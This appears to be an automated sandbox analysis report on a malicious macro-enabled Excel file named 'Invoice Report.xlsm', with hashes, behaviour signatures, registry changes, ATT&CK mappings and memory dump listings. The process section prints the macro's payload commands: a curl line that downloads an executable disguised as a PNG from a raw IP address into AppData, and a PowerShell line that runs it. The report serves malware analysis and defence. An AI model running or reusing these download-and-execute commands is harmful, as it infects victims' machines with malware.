8ef3a66715c5224d804d23dbbd9013304a860c6ed346eedc27d73aee31e9b9ea

General

Target

Invoice Report.xlsm
Size

140KB
MD5

329c98470c9b2ac55b27ec305a51ed8b
SHA1

6ae68c825f75e57b0ba370f12d90a5e6b65fd6d1
SHA256

8ef3a66715c5224d804d23dbbd9013304a860c6ed346eedc27d73aee31e9b9ea
SHA512

17ecd183f96dd9689c75c3d8682a4ce346b666e50964820da9c4fda0fd8c1e7a96f6649edb02de554cee01ba29eb4a221a804f285895a0d7f57723e34827c0f0

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1736	1756	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1740	1756	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1756 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1736 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1756 EXCEL.EXE
1756 EXCEL.EXE
1756 EXCEL.EXE

pid	process
1756	EXCEL.EXE

pid	process
1736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1736	powershell.exe

pid	process
1756	EXCEL.EXE
1756	EXCEL.EXE
1756	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1756 wrote to memory of 1736	1756	EXCEL.EXE	powershell.exe
PID 1756 wrote to memory of 1736	1756	EXCEL.EXE	powershell.exe
PID 1756 wrote to memory of 1736	1756	EXCEL.EXE	powershell.exe
PID 1756 wrote to memory of 1736	1756	EXCEL.EXE	powershell.exe
PID 1756 wrote to memory of 1740	1756	EXCEL.EXE	cmd.exe
PID 1756 wrote to memory of 1740	1756	EXCEL.EXE	cmd.exe
PID 1756 wrote to memory of 1740	1756	EXCEL.EXE	cmd.exe
PID 1756 wrote to memory of 1740	1756	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Invoice Report.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\GxSsC.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://195.123.246.25/images/moonmars.png -o %appdata%\GxSsC.exe
2⤵
- Process spawned unexpected child process
PID:1740

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1736-69-0x0000000001190000-0x0000000001191000-memory.dmp

Filesize
4KB

Download
memory/1736-87-0x0000000006670000-0x0000000006671000-memory.dmp

Filesize
4KB

Download
memory/1736-70-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1736-62-0x0000000000000000-mapping.dmp

Download
memory/1736-104-0x0000000006810000-0x0000000006811000-memory.dmp

Filesize
4KB

Download
memory/1736-64-0x0000000075FE1000-0x0000000075FE3000-memory.dmp

Filesize
8KB

Download
memory/1736-65-0x0000000000F90000-0x0000000000F91000-memory.dmp

Filesize
4KB

Download
memory/1736-66-0x0000000004930000-0x0000000004931000-memory.dmp

Filesize
4KB

Download
memory/1736-73-0x0000000005770000-0x0000000005771000-memory.dmp

Filesize
4KB

Download
memory/1736-67-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

Download
memory/1736-103-0x0000000006800000-0x0000000006801000-memory.dmp

Filesize
4KB

Download
memory/1736-89-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/1736-68-0x00000000048F2000-0x00000000048F3000-memory.dmp

Filesize
4KB

Download
memory/1736-78-0x0000000006260000-0x0000000006261000-memory.dmp

Filesize
4KB

Download
memory/1736-79-0x0000000006380000-0x0000000006381000-memory.dmp

Filesize
4KB

Download
memory/1736-86-0x0000000006410000-0x0000000006411000-memory.dmp

Filesize
4KB

Download
memory/1736-88-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1740-63-0x0000000000000000-mapping.dmp

Download
memory/1756-60-0x0000000071521000-0x0000000071523000-memory.dmp

Filesize
8KB

Download
memory/1756-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1756-105-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1756-59-0x000000002F8A1000-0x000000002F8A4000-memory.dmp

Filesize
12KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads